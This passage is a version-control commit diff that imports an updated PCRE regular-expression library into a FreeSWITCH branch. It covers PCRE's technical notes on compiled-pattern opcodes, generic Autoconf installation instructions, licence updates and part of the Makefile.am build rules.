+for ($i = 0; $i < @ARGV; $i++) { &detrail($ARGV[$i]); }
+
+# End

Copied: freeswitch/branches/seven/libs/pcre/HACKING (from rev 14471, freeswitch/trunk/libs/pcre/HACKING) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/HACKING	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/HACKING	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,418 @@
+Technical Notes about PCRE
+--------------------------
+
+These are very rough technical notes that record potentially useful information 
+about PCRE internals.
+
+Historical note 1
+-----------------
+
+Many years ago I implemented some regular expression functions to an algorithm
+suggested by Martin Richards. These were not Unix-like in form, and were quite
+restricted in what they could do by comparison with Perl. The interesting part
+about the algorithm was that the amount of space required to hold the compiled
+form of an expression was known in advance. The code to apply an expression did
+not operate by backtracking, as the original Henry Spencer code and current
+Perl code does, but instead checked all possibilities simultaneously by keeping
+a list of current states and checking all of them as it advanced through the
+subject string. In the terminology of Jeffrey Friedl's book, it was a "DFA
+algorithm", though it was not a traditional Finite State Machine (FSM). When
+the pattern was all used up, all remaining states were possible matches, and
+the one matching the longest subset of the subject string was chosen. This did
+not necessarily maximize the individual wild portions of the pattern, as is
+expected in Unix and Perl-style regular expressions.
+
+Historical note 2
+-----------------
+
+By contrast, the code originally written by Henry Spencer (which was
+subsequently heavily modified for Perl) compiles the expression twice: once in
+a dummy mode in order to find out how much store will be needed, and then for
+real. (The Perl version probably doesn't do this any more; I'm talking about
+the original library.) The execution function operates by backtracking and
+maximizing (or, optionally, minimizing in Perl) the amount of the subject that
+matches individual wild portions of the pattern. This is an "NFA algorithm" in
+Friedl's terminology.
+
+OK, here's the real stuff
+-------------------------
+
+For the set of functions that form the "basic" PCRE library (which are
+unrelated to those mentioned above), I tried at first to invent an algorithm
+that used an amount of store bounded by a multiple of the number of characters
+in the pattern, to save on compiling time. However, because of the greater
+complexity in Perl regular expressions, I couldn't do this. In any case, a
+first pass through the pattern is helpful for other reasons. 
+
+Computing the memory requirement: how it was
+--------------------------------------------
+
+Up to and including release 6.7, PCRE worked by running a very degenerate first
+pass to calculate a maximum store size, and then a second pass to do the real
+compile - which might use a bit less than the predicted amount of memory. The
+idea was that this would turn out faster than the Henry Spencer code because
+the first pass is degenerate and the second pass can just store stuff straight
+into the vector, which it knows is big enough.
+
+Computing the memory requirement: how it is
+-------------------------------------------
+
+By the time I was working on a potential 6.8 release, the degenerate first pass
+had become very complicated and hard to maintain. Indeed one of the early
+things I did for 6.8 was to fix Yet Another Bug in the memory computation. Then
+I had a flash of inspiration as to how I could run the real compile function in
+a "fake" mode that enables it to compute how much memory it would need, while
+actually only ever using a few hundred bytes of working memory, and without too
+many tests of the mode that might slow it down. So I re-factored the compiling
+functions to work this way. This got rid of about 600 lines of source. It
+should make future maintenance and development easier. As this was such a major 
+change, I never released 6.8, instead upping the number to 7.0 (other quite 
+major changes are also present in the 7.0 release).
+
+A side effect of this work is that the previous limit of 200 on the nesting
+depth of parentheses was removed. However, there is a downside: pcre_compile()
+runs more slowly than before (30% or more, depending on the pattern) because it
+is doing a full analysis of the pattern. My hope is that this is not a big
+issue.
+
+Traditional matching function
+-----------------------------
+
+The "traditional", and original, matching function is called pcre_exec(), and 
+it implements an NFA algorithm, similar to the original Henry Spencer algorithm 
+and the way that Perl works. Not surprising, since it is intended to be as 
+compatible with Perl as possible. This is the function most users of PCRE will 
+use most of the time.
+
+Supplementary matching function
+-------------------------------
+
+From PCRE 6.0, there is also a supplementary matching function called 
+pcre_dfa_exec(). This implements a DFA matching algorithm that searches 
+simultaneously for all possible matches that start at one point in the subject 
+string. (Going back to my roots: see Historical Note 1 above.) This function 
+intreprets the same compiled pattern data as pcre_exec(); however, not all the 
+facilities are available, and those that are do not always work in quite the 
+same way. See the user documentation for details.
+
+The algorithm that is used for pcre_dfa_exec() is not a traditional FSM, 
+because it may have a number of states active at one time. More work would be 
+needed at compile time to produce a traditional FSM where only one state is 
+ever active at once. I believe some other regex matchers work this way.
+
+
+Format of compiled patterns
+---------------------------
+
+The compiled form of a pattern is a vector of bytes, containing items of
+variable length. The first byte in an item is an opcode, and the length of the
+item is either implicit in the opcode or contained in the data bytes that
+follow it. 
+
+In many cases below LINK_SIZE data values are specified for offsets within the 
+compiled pattern. The default value for LINK_SIZE is 2, but PCRE can be
+compiled to use 3-byte or 4-byte values for these offsets (impairing the
+performance). This is necessary only when patterns whose compiled length is
+greater than 64K are going to be processed. In this description, we assume the
+"normal" compilation options. Data values that are counts (e.g. for
+quantifiers) are always just two bytes long.
+
+A list of the opcodes follows:
+
+Opcodes with no following data
+------------------------------
+
+These items are all just one byte long
+
+  OP_END                 end of pattern
+  OP_ANY                 match any one character other than newline
+  OP_ALLANY              match any one character, including newline
+  OP_ANYBYTE             match any single byte, even in UTF-8 mode
+  OP_SOD                 match start of data: \A
+  OP_SOM,                start of match (subject + offset): \G
+  OP_SET_SOM,            set start of match (\K) 
+  OP_CIRC                ^ (start of data, or after \n in multiline)
+  OP_NOT_WORD_BOUNDARY   \W
+  OP_WORD_BOUNDARY       \w
+  OP_NOT_DIGIT           \D
+  OP_DIGIT               \d
+  OP_NOT_HSPACE          \H
+  OP_HSPACE              \h  
+  OP_NOT_WHITESPACE      \S
+  OP_WHITESPACE          \s
+  OP_NOT_VSPACE          \V
+  OP_VSPACE              \v  
+  OP_NOT_WORDCHAR        \W
+  OP_WORDCHAR            \w
+  OP_EODN                match end of data or \n at end: \Z
+  OP_EOD                 match end of data: \z
+  OP_DOLL                $ (end of data, or before \n in multiline)
+  OP_EXTUNI              match an extended Unicode character 
+  OP_ANYNL               match any Unicode newline sequence 
+  
+  OP_ACCEPT              )
+  OP_COMMIT              ) 
+  OP_FAIL                ) These are Perl 5.10's "backtracking     
+  OP_PRUNE               ) control verbs".                         
+  OP_SKIP                )
+  OP_THEN                )
+  
+
+Repeating single characters
+---------------------------
+
+The common repeats (*, +, ?) when applied to a single character use the
+following opcodes:
+
+  OP_STAR
+  OP_MINSTAR
+  OP_POSSTAR 
+  OP_PLUS
+  OP_MINPLUS
+  OP_POSPLUS 
+  OP_QUERY
+  OP_MINQUERY
+  OP_POSQUERY 
+
+In ASCII mode, these are two-byte items; in UTF-8 mode, the length is variable.
+Those with "MIN" in their name are the minimizing versions. Those with "POS" in 
+their names are possessive versions. Each is followed by the character that is
+to be repeated. Other repeats make use of
+
+  OP_UPTO
+  OP_MINUPTO
+  OP_POSUPTO 
+  OP_EXACT
+
+which are followed by a two-byte count (most significant first) and the
+repeated character. OP_UPTO matches from 0 to the given number. A repeat with a
+non-zero minimum and a fixed maximum is coded as an OP_EXACT followed by an
+OP_UPTO (or OP_MINUPTO or OPT_POSUPTO).
+
+
+Repeating character types
+-------------------------
+
+Repeats of things like \d are done exactly as for single characters, except
+that instead of a character, the opcode for the type is stored in the data
+byte. The opcodes are:
+
+  OP_TYPESTAR
+  OP_TYPEMINSTAR
+  OP_TYPEPOSSTAR 
+  OP_TYPEPLUS
+  OP_TYPEMINPLUS
+  OP_TYPEPOSPLUS 
+  OP_TYPEQUERY
+  OP_TYPEMINQUERY
+  OP_TYPEPOSQUERY 
+  OP_TYPEUPTO
+  OP_TYPEMINUPTO
+  OP_TYPEPOSUPTO 
+  OP_TYPEEXACT
+
+
+Match by Unicode property
+-------------------------
+
+OP_PROP and OP_NOTPROP are used for positive and negative matches of a 
+character by testing its Unicode property (the \p and \P escape sequences).
+Each is followed by two bytes that encode the desired property as a type and a 
+value.
+
+Repeats of these items use the OP_TYPESTAR etc. set of opcodes, followed by 
+three bytes: OP_PROP or OP_NOTPROP and then the desired property type and 
+value.
+
+
+Matching literal characters
+---------------------------
+
+The OP_CHAR opcode is followed by a single character that is to be matched 
+casefully. For caseless matching, OP_CHARNC is used. In UTF-8 mode, the 
+character may be more than one byte long. (Earlier versions of PCRE used 
+multi-character strings, but this was changed to allow some new features to be 
+added.)
+
+
+Character classes
+-----------------
+
+If there is only one character, OP_CHAR or OP_CHARNC is used for a positive
+class, and OP_NOT for a negative one (that is, for something like [^a]).
+However, in UTF-8 mode, the use of OP_NOT applies only to characters with
+values < 128, because OP_NOT is confined to single bytes.
+
+Another set of repeating opcodes (OP_NOTSTAR etc.) are used for a repeated,
+negated, single-character class. The normal ones (OP_STAR etc.) are used for a
+repeated positive single-character class.
+
+When there's more than one character in a class and all the characters are less
+than 256, OP_CLASS is used for a positive class, and OP_NCLASS for a negative
+one. In either case, the opcode is followed by a 32-byte bit map containing a 1
+bit for every character that is acceptable. The bits are counted from the least
+significant end of each byte.
+
+The reason for having both OP_CLASS and OP_NCLASS is so that, in UTF-8 mode,
+subject characters with values greater than 256 can be handled correctly. For
+OP_CLASS they don't match, whereas for OP_NCLASS they do.
+
+For classes containing characters with values > 255, OP_XCLASS is used. It
+optionally uses a bit map (if any characters lie within it), followed by a list
+of pairs and single characters. There is a flag character than indicates
+whether it's a positive or a negative class.
+
+
+Back references
+---------------
+
+OP_REF is followed by two bytes containing the reference number.
+
+
+Repeating character classes and back references
+-----------------------------------------------
+
+Single-character classes are handled specially (see above). This section
+applies to OP_CLASS and OP_REF. In both cases, the repeat information follows
+the base item. The matching code looks at the following opcode to see if it is
+one of
+
+  OP_CRSTAR
+  OP_CRMINSTAR
+  OP_CRPLUS
+  OP_CRMINPLUS
+  OP_CRQUERY
+  OP_CRMINQUERY
+  OP_CRRANGE
+  OP_CRMINRANGE
+
+All but the last two are just single-byte items. The others are followed by
+four bytes of data, comprising the minimum and maximum repeat counts. There are 
+no special possessive opcodes for these repeats; a possessive repeat is 
+compiled into an atomic group.
+
+
+Brackets and alternation
+------------------------
+
+A pair of non-capturing (round) brackets is wrapped round each expression at
+compile time, so alternation always happens in the context of brackets.
+
+[Note for North Americans: "bracket" to some English speakers, including
+myself, can be round, square, curly, or pointy. Hence this usage.]
+
+Non-capturing brackets use the opcode OP_BRA. Originally PCRE was limited to 99
+capturing brackets and it used a different opcode for each one. From release
+3.5, the limit was removed by putting the bracket number into the data for
+higher-numbered brackets. From release 7.0 all capturing brackets are handled
+this way, using the single opcode OP_CBRA.
+
+A bracket opcode is followed by LINK_SIZE bytes which give the offset to the
+next alternative OP_ALT or, if there aren't any branches, to the matching
+OP_KET opcode. Each OP_ALT is followed by LINK_SIZE bytes giving the offset to
+the next one, or to the OP_KET opcode. For capturing brackets, the bracket 
+number immediately follows the offset, always as a 2-byte item.
+
+OP_KET is used for subpatterns that do not repeat indefinitely, while
+OP_KETRMIN and OP_KETRMAX are used for indefinite repetitions, minimally or
+maximally respectively. All three are followed by LINK_SIZE bytes giving (as a
+positive number) the offset back to the matching bracket opcode.
+
+If a subpattern is quantified such that it is permitted to match zero times, it
+is preceded by one of OP_BRAZERO, OP_BRAMINZERO, or OP_SKIPZERO. These are
+single-byte opcodes that tell the matcher that skipping the following
+subpattern entirely is a valid branch. In the case of the first two, not 
+skipping the pattern is also valid (greedy and non-greedy). The third is used 
+when a pattern has the quantifier {0,0}. It cannot be entirely discarded, 
+because it may be called as a subroutine from elsewhere in the regex.
+
+A subpattern with an indefinite maximum repetition is replicated in the
+compiled data its minimum number of times (or once with OP_BRAZERO if the
+minimum is zero), with the final copy terminating with OP_KETRMIN or OP_KETRMAX
+as appropriate.
+
+A subpattern with a bounded maximum repetition is replicated in a nested
+fashion up to the maximum number of times, with OP_BRAZERO or OP_BRAMINZERO
+before each replication after the minimum, so that, for example, (abc){2,5} is
+compiled as (abc)(abc)((abc)((abc)(abc)?)?)?, except that each bracketed group 
+has the same number.
+
+When a repeated subpattern has an unbounded upper limit, it is checked to see 
+whether it could match an empty string. If this is the case, the opcode in the 
+final replication is changed to OP_SBRA or OP_SCBRA. This tells the matcher
+that it needs to check for matching an empty string when it hits OP_KETRMIN or
+OP_KETRMAX, and if so, to break the loop.
+
+
+Assertions
+----------
+
+Forward assertions are just like other subpatterns, but starting with one of
+the opcodes OP_ASSERT or OP_ASSERT_NOT. Backward assertions use the opcodes
+OP_ASSERTBACK and OP_ASSERTBACK_NOT, and the first opcode inside the assertion
+is OP_REVERSE, followed by a two byte count of the number of characters to move
+back the pointer in the subject string. When operating in UTF-8 mode, the count
+is a character count rather than a byte count. A separate count is present in
+each alternative of a lookbehind assertion, allowing them to have different
+fixed lengths.
+
+
+Once-only (atomic) subpatterns
+------------------------------
+
+These are also just like other subpatterns, but they start with the opcode
+OP_ONCE. The check for matching an empty string in an unbounded repeat is 
+handled entirely at runtime, so there is just this one opcode.
+
+
+Conditional subpatterns
+-----------------------
+
+These are like other subpatterns, but they start with the opcode OP_COND, or
+OP_SCOND for one that might match an empty string in an unbounded repeat. If
+the condition is a back reference, this is stored at the start of the
+subpattern using the opcode OP_CREF followed by two bytes containing the
+reference number. If the condition is "in recursion" (coded as "(?(R)"), or "in
+recursion of group x" (coded as "(?(Rx)"), the group number is stored at the
+start of the subpattern using the opcode OP_RREF, and a value of zero for "the
+whole pattern". For a DEFINE condition, just the single byte OP_DEF is used (it
+has no associated data). Otherwise, a conditional subpattern always starts with
+one of the assertions.
+
+
+Recursion
+---------
+
+Recursion either matches the current regex, or some subexpression. The opcode
+OP_RECURSE is followed by an value which is the offset to the starting bracket
+from the start of the whole pattern. From release 6.5, OP_RECURSE is 
+automatically wrapped inside OP_ONCE brackets (because otherwise some patterns 
+broke it). OP_RECURSE is also used for "subroutine" calls, even though they 
+are not strictly a recursion.
+
+
+Callout
+-------
+
+OP_CALLOUT is followed by one byte of data that holds a callout number in the
+range 0 to 254 for manual callouts, or 255 for an automatic callout. In both 
+cases there follows a two-byte value giving the offset in the pattern to the
+start of the following item, and another two-byte item giving the length of the
+next item.
+
+
+Changing options
+----------------
+
+If any of the /i, /m, or /s options are changed within a pattern, an OP_OPT
+opcode is compiled, followed by one byte containing the new settings of these
+flags. If there are several alternatives, there is an occurrence of OP_OPT at
+the start of all those following the first options change, to set appropriate
+options for the start of the alternative. Immediately after the end of the
+group there is another such item to reset the flags to their previous values. A
+change of flag right at the very start of the pattern can be handled entirely
+at compile time, and so does not cause anything to be put into the compiled
+data.
+
+Philip Hazel
+April 2008

Modified: freeswitch/branches/seven/libs/pcre/INSTALL (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/INSTALL	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/INSTALL	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,41 +1,54 @@
+Installation Instructions
+*************************
+
+Copyright (C) 1994, 1995, 1996, 1999, 2000, 2001, 2002, 2004, 2005,
+2006, 2007, 2008 Free Software Foundation, Inc.
+
+   This file is free documentation; the Free Software Foundation gives
+unlimited permission to copy, distribute and modify it.
+
 Basic Installation
 ==================
 
-   These are generic installation instructions that apply to systems that
-can run the `configure' shell script - Unix systems and any that imitate
-it. They are not specific to PCRE. There are PCRE-specific instructions
-for non-Unix systems in the file NON-UNIX-USE.
+   Briefly, the shell commands `./configure; make; make install' should
+configure, build, and install this package.  The following
+more-detailed instructions are generic; see the `README' file for
+instructions specific to this package.
 
    The `configure' shell script attempts to guess correct values for
 various system-dependent variables used during compilation.  It uses
 those values to create a `Makefile' in each directory of the package.
 It may also create one or more `.h' files containing system-dependent
 definitions.  Finally, it creates a shell script `config.status' that
-you can run in the future to recreate the current configuration, a file
-`config.cache' that saves the results of its tests to speed up
-reconfiguring, and a file `config.log' containing compiler output
-(useful mainly for debugging `configure').
+you can run in the future to recreate the current configuration, and a
+file `config.log' containing compiler output (useful mainly for
+debugging `configure').
 
+   It can also use an optional file (typically called `config.cache'
+and enabled with `--cache-file=config.cache' or simply `-C') that saves
+the results of its tests to speed up reconfiguring.  Caching is
+disabled by default to prevent problems with accidental use of stale
+cache files.
+
    If you need to do unusual things to compile the package, please try
 to figure out how `configure' could check whether to do them, and mail
 diffs or instructions to the address given in the `README' so they can
-be considered for the next release.  If at some point `config.cache'
-contains results you don't want to keep, you may remove or edit it.
+be considered for the next release.  If you are using the cache, and at
+some point `config.cache' contains results you don't want to keep, you
+may remove or edit it.
 
-   The file `configure.in' is used to create `configure' by a program
-called `autoconf'.  You only need `configure.in' if you want to change
-it or regenerate `configure' using a newer version of `autoconf'.
+   The file `configure.ac' (or `configure.in') is used to create
+`configure' by a program called `autoconf'.  You need `configure.ac' if
+you want to change it or regenerate `configure' using a newer version
+of `autoconf'.
 
 The simplest way to compile this package is:
 
   1. `cd' to the directory containing the package's source code and type
-     `./configure' to configure the package for your system.  If you're
-     using `csh' on an old version of System V, you might need to type
-     `sh ./configure' instead to prevent `csh' from trying to execute
-     `configure' itself.
+     `./configure' to configure the package for your system.
 
-     Running `configure' takes awhile.  While running, it prints some
-     messages telling which features it is checking for.
+     Running `configure' might take a while.  While running, it prints
+     some messages telling which features it is checking for.
 
   2. Type `make' to compile the package.
 
@@ -54,52 +67,69 @@
      all sorts of other programs in order to regenerate files that came
      with the distribution.
 
+  6. Often, you can also type `make uninstall' to remove the installed
+     files again.
+
 Compilers and Options
 =====================
 
    Some systems require unusual options for compilation or linking that
-the `configure' script does not know about.  You can give `configure'
-initial values for variables by setting them in the environment.  Using
-a Bourne-compatible shell, you can do that on the command line like
-this:
-     CC=c89 CFLAGS=-O2 LIBS=-lposix ./configure
+the `configure' script does not know about.  Run `./configure --help'
+for details on some of the pertinent environment variables.
 
-Or on systems that have the `env' program, you can do it like this:
-     env CPPFLAGS=-I/usr/local/include LDFLAGS=-s ./configure
+   You can give `configure' initial values for configuration parameters
+by setting variables in the command line or in the environment.  Here
+is an example:
 
+     ./configure CC=c99 CFLAGS=-g LIBS=-lposix
+
+   *Note Defining Variables::, for more details.
+
 Compiling For Multiple Architectures
 ====================================
 
    You can compile the package for more than one kind of computer at the
 same time, by placing the object files for each architecture in their
-own directory.  To do this, you must use a version of `make' that
-supports the `VPATH' variable, such as GNU `make'.  `cd' to the
+own directory.  To do this, you can use GNU `make'.  `cd' to the
 directory where you want the object files and executables to go and run
 the `configure' script.  `configure' automatically checks for the
 source code in the directory that `configure' is in and in `..'.
 
-   If you have to use a `make' that does not supports the `VPATH'
-variable, you have to compile the package for one architecture at a time
-in the source code directory.  After you have installed the package for
-one architecture, use `make distclean' before reconfiguring for another
-architecture.
+   With a non-GNU `make', it is safer to compile the package for one
+architecture at a time in the source code directory.  After you have
+installed the package for one architecture, use `make distclean' before
+reconfiguring for another architecture.
 
+   On MacOS X 10.5 and later systems, you can create libraries and
+executables that work on multiple system types--known as "fat" or
+"universal" binaries--by specifying multiple `-arch' options to the
+compiler but only a single `-arch' option to the preprocessor.  Like
+this:
+
+     ./configure CC="gcc -arch i386 -arch x86_64 -arch ppc -arch ppc64" \
+                 CXX="g++ -arch i386 -arch x86_64 -arch ppc -arch ppc64" \
+                 CPP="gcc -E" CXXCPP="g++ -E"
+
+   This is not guaranteed to produce working output in all cases, you
+may have to build one architecture at a time and combine the results
+using the `lipo' tool if you have problems.
+
 Installation Names
 ==================
 
-   By default, `make install' will install the package's files in
-`/usr/local/bin', `/usr/local/man', etc.  You can specify an
-installation prefix other than `/usr/local' by giving `configure' the
-option `--prefix=PATH'.
+   By default, `make install' installs the package's commands under
+`/usr/local/bin', include files under `/usr/local/include', etc.  You
+can specify an installation prefix other than `/usr/local' by giving
+`configure' the option `--prefix=PREFIX'.
 
    You can specify separate installation prefixes for
 architecture-specific files and architecture-independent files.  If you
-give `configure' the option `--exec-prefix=PATH', the package will use
-PATH as the prefix for installing programs and libraries.
-Documentation and other data files will still use the regular prefix.
+pass the option `--exec-prefix=PREFIX' to `configure', the package uses
+PREFIX as the prefix for installing programs and libraries.
+Documentation and other data files still use the regular prefix.
 
    In addition, if you use an unusual directory layout you can give
-options like `--bindir=PATH' to specify different values for particular
+options like `--bindir=DIR' to specify different values for particular
 kinds of files.  Run `configure --help' for a list of the directories
 you can set and what kinds of files go in them.
 
@@ -122,26 +152,58 @@
 you can use the `configure' options `--x-includes=DIR' and
 `--x-libraries=DIR' to specify their locations.
 
+Particular systems
+==================
+
+   On HP-UX, the default C compiler is not ANSI C compatible.  If GNU
+CC is not installed, it is recommended to use the following options in
+order to use an ANSI C compiler:
+
+     ./configure CC="cc -Ae"
+
+and if that doesn't work, install pre-built binaries of GCC for HP-UX.
+
+   On OSF/1 a.k.a. Tru64, some versions of the default C compiler cannot
+parse its `<wchar.h>' header file.  The option `-nodtk' can be used as
+a workaround.  If GNU CC is not installed, it is therefore recommended
+to try
+
+     ./configure CC="cc"
+
+and if that doesn't work, try
+
+     ./configure CC="cc -nodtk"
+
 Specifying the System Type
 ==========================
 
-   There may be some features `configure' can not figure out
-automatically, but needs to determine by the type of host the package
-will run on.  Usually `configure' can figure that out, but if it prints
-a message saying it can not guess the host type, give it the
-`--host=TYPE' option.  TYPE can either be a short name for the system
-type, such as `sun4', or a canonical name with three fields:
+   There may be some features `configure' cannot figure out
+automatically, but needs to determine by the type of machine the package
+will run on.  Usually, assuming the package is built to be run on the
+_same_ architectures, `configure' can figure that out, but if it prints
+a message saying it cannot guess the machine type, give it the
+`--build=TYPE' option.  TYPE can either be a short name for the system
+type, such as `sun4', or a canonical name which has the form:
+
      CPU-COMPANY-SYSTEM
 
-See the file `config.sub' for the possible values of each field.  If
+where SYSTEM can have one of these forms:
+
+     OS KERNEL-OS
+
+   See the file `config.sub' for the possible values of each field.  If
 `config.sub' isn't included in this package, then this package doesn't
-need to know the host type.
+need to know the machine type.
 
-   If you are building compiler tools for cross-compiling, you can also
-use the `--target=TYPE' option to select the type of system they will
-produce code for and the `--build=TYPE' option to select the type of
-system on which you are compiling the package.
+   If you are _building_ compiler tools for cross-compiling, you should
+use the option `--target=TYPE' to select the type of system they will
+produce code for.
 
+   If you want to _use_ a cross compiler, that generates code for a
+platform different from the build platform, you should specify the
+"host" platform (i.e., that on which the generated programs will
+eventually be run) with `--host=TYPE'.
+
 Sharing Defaults
 ================
 
@@ -153,19 +215,55 @@
 `CONFIG_SITE' environment variable to the location of the site script.
 A warning: not all `configure' scripts look for a site script.
 
-Operation Controls
+Defining Variables
 ==================
 
+   Variables not defined in a site shell script can be set in the
+environment passed to `configure'.  However, some packages may run
+configure again during the build, and the customized values of these
+variables may be lost.  In order to avoid this problem, you should set
+them in the `configure' command line, using `VAR=value'.  For example:
+
+     ./configure CC=/usr/local2/bin/gcc
+
+causes the specified `gcc' to be used as the C compiler (unless it is
+overridden in the site shell script).
+
+Unfortunately, this technique does not work for `CONFIG_SHELL' due to
+an Autoconf bug.  Until the bug is fixed you can use this workaround:
+
+     CONFIG_SHELL=/bin/bash /bin/bash ./configure CONFIG_SHELL=/bin/bash
+
+`configure' Invocation
+======================
+
    `configure' recognizes the following options to control how it
 operates.
 
+`--help'
+`-h'
+     Print a summary of all of the options to `configure', and exit.
+
+`--help=short'
+`--help=recursive'
+     Print a summary of the options unique to this package's
+     `configure', and exit.  The `short' variant lists options used
+     only in the top level, while the `recursive' variant lists options
+     also present in any nested packages.
+
+`--version'
+`-V'
+     Print the version of Autoconf used to generate the `configure'
+     script, and exit.
+
 `--cache-file=FILE'
-     Use and save the results of the tests in FILE instead of
-     `./config.cache'.  Set FILE to `/dev/null' to disable caching, for
-     debugging `configure'.
+     Enable the cache: use and save the results of the tests in FILE,
+     traditionally `config.cache'.  FILE defaults to `/dev/null' to
+     disable caching.
 
-`--help'
-     Print a summary of the options to `configure', and exit.
+`--config-cache'
+`-C'
+     Alias for `--cache-file=config.cache'.
 
 `--quiet'
 `--silent'
@@ -178,9 +276,16 @@
      Look for the package's source code in directory DIR.  Usually
      `configure' can determine that directory automatically.
 
-`--version'
-     Print the version of Autoconf used to generate the `configure'
-     script, and exit.
+`--prefix=DIR'
+     Use DIR as the installation prefix.  *Note Installation Names::
+     for more details, including other options available for fine-tuning
+     the installation locations.
 
-`configure' also accepts some other, not widely useful, options.
-  
\ No newline at end of file
+`--no-create'
+`-n'
+     Run the configure checks, but stop before creating any output
+     files.
+
+`configure' also accepts some other, not widely useful, options.  Run
+`configure --help' for more details.
+

Modified: freeswitch/branches/seven/libs/pcre/LICENCE (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/LICENCE	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/LICENCE	2009-08-09 18:53:22 UTC (rev 14472)
@@ -4,7 +4,7 @@
 PCRE is a library of functions to support regular expressions whose syntax
 and semantics are as close as possible to those of the Perl 5 language.
 
-Release 6 of PCRE is distributed under the terms of the "BSD" licence, as
+Release 7 of PCRE is distributed under the terms of the "BSD" licence, as
 specified below. The documentation for PCRE, supplied in the "doc"
 directory, is distributed under the same terms as the software itself.
 
@@ -20,9 +20,9 @@
 Email domain:     cam.ac.uk
 
 University of Cambridge Computing Service,
-Cambridge, England. Phone: +44 1223 334714.
+Cambridge, England.
 
-Copyright (c) 1997-2006 University of Cambridge
+Copyright (c) 1997-2009 University of Cambridge
 All rights reserved.
 
 
@@ -31,7 +31,7 @@
 
 Contributed by:   Google Inc.
 
-Copyright (c) 2006, Google Inc.
+Copyright (c) 2007-2008, Google Inc.
 All rights reserved.
 
 

Copied: freeswitch/branches/seven/libs/pcre/Makefile.am (from rev 14471, freeswitch/trunk/libs/pcre/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,334 @@
+## Process this file with automake to produce Makefile.in.
+
+pcrecpp_html = doc/html/pcrecpp.html
+dist_noinst_DATA = $(pcrecpp_html)
+
+# The Libtool libraries to install.  We'll add to this later.
+lib_LTLIBRARIES =
+
+# Unit tests you want to run when people type 'make check'.
+# TESTS is for binary unit tests, check_SCRIPTS for script-based tests
+TESTS =
+check_SCRIPTS =
+dist_noinst_SCRIPTS =
+
+# Some of the binaries we make are to be installed, and others are
+# (non-user-visible) helper programs needed to build libpcre.
+bin_PROGRAMS =
+noinst_PROGRAMS =
+
+# Additional files to delete on 'make clean' and 'make maintainer-clean'.
+CLEANFILES =
+MAINTAINERCLEANFILES =
+
+# Additional files to bundle with the distribution, over and above what
+# the Autotools include by default.
+EXTRA_DIST =
+
+# These files contain maintenance information
+EXTRA_DIST += \
+  doc/perltest.txt \
+  NON-UNIX-USE \
+  HACKING
+
+# These files are used in the preparation of a release
+EXTRA_DIST += \
+  PrepareRelease \
+  CleanTxt \
+  Detrail \
+  132html \
+  doc/index.html.src
+
+# These files are to do with building for Virtual Pascal
+EXTRA_DIST += \
+  makevp.bat \
+  makevp_c.txt \
+  makevp_l.txt \
+  pcregexp.pas
+
+# These files are usable versions of pcre.h and config.h that are distributed
+# for the benefit of people who are building PCRE manually, without the
+# Autotools support.
+EXTRA_DIST += \
+  pcre.h.generic \
+  config.h.generic
+
+pcre.h.generic: configure.ac
+	rm -f $@
+	cp -p pcre.h $@
+
+MAINTAINERCLEANFILES += pcre.h.generic
+
+# These are the header files we'll install. We do not distribute pcre.h because
+# it is generated from pcre.h.in.
+nodist_include_HEADERS = \
+  pcre.h
+include_HEADERS = \
+  pcreposix.h
+
+# These additional headers will be be installed if C++ support is enabled. We
+# do not distribute pcrecpparg.h or pcre_stringpiece.h, as these are generated
+# from corresponding .h.in files (which we do distribute).
+if WITH_PCRE_CPP
+nodist_include_HEADERS += \
+  pcrecpparg.h \
+  pcre_stringpiece.h
+include_HEADERS += \
+  pcrecpp.h \
+  pcre_scanner.h
+endif # WITH_PCRE_CPP
+
+bin_SCRIPTS = pcre-config
+
+## ---------------------------------------------------------------
+## The dftables program is used to rebuild character tables before compiling
+## PCRE, if --enable-rebuild-chartables is specified. It is not a user-visible
+## program. The default (when --enable-rebuild-chartables is not specified) is
+## to copy a distributed set of tables that are defined for ASCII code. In this
+## case, dftables is not needed.
+
+if WITH_REBUILD_CHARTABLES
+
+noinst_PROGRAMS += dftables
+dftables_SOURCES = dftables.c
+
+pcre_chartables.c: dftables$(EXEEXT)
+	./dftables$(EXEEXT) $@
+else
+
+pcre_chartables.c: $(srcdir)/pcre_chartables.c.dist
+	rm -f $@
+	$(LN_S) $(srcdir)/pcre_chartables.c.dist $@
+
+endif # WITH_REBUILD_CHARTABLES
+
+
+## The main pcre library
+lib_LTLIBRARIES += libpcre.la
+libpcre_la_SOURCES = \
+  pcre_compile.c \
+  pcre_config.c \
+  pcre_dfa_exec.c \
+  pcre_exec.c \
+  pcre_fullinfo.c \
+  pcre_get.c \
+  pcre_globals.c \
+  pcre_info.c \
+  pcre_internal.h \
+  pcre_maketables.c \
+  pcre_newline.c \
+  pcre_ord2utf8.c \
+  pcre_refcount.c \
+  pcre_study.c \
+  pcre_tables.c \
+  pcre_try_flipped.c \
+  pcre_ucd.c \
+  pcre_valid_utf8.c \
+  pcre_version.c \
+  pcre_xclass.c \
+  ucp.h
+
+## This file is generated as part of the building process, so don't distribute.
+nodist_libpcre_la_SOURCES = \
+  pcre_chartables.c
+
+# The pcre_printint.src file is #included by some source files, so it must be
+# distributed. The pcre_chartables.c.dist file is the default version of
+# pcre_chartables.c, used unless --enable-rebuild-chartables is specified.
+EXTRA_DIST += pcre_printint.src pcre_chartables.c.dist
+
+libpcre_la_LDFLAGS = $(EXTRA_LIBPCRE_LDFLAGS)
+
+CLEANFILES += pcre_chartables.c
+
+## A version of the main pcre library that has a posix re API.
+lib_LTLIBRARIES += libpcreposix.la
+libpcreposix_la_SOURCES = \
+  pcreposix.c
+libpcreposix_la_LDFLAGS = $(EXTRA_LIBPCREPOSIX_LDFLAGS)
+libpcreposix_la_LIBADD = libpcre.la
+
+## There's a C++ library as well.
+if WITH_PCRE_CPP
+
+lib_LTLIBRARIES += libpcrecpp.la
+libpcrecpp_la_SOURCES = \
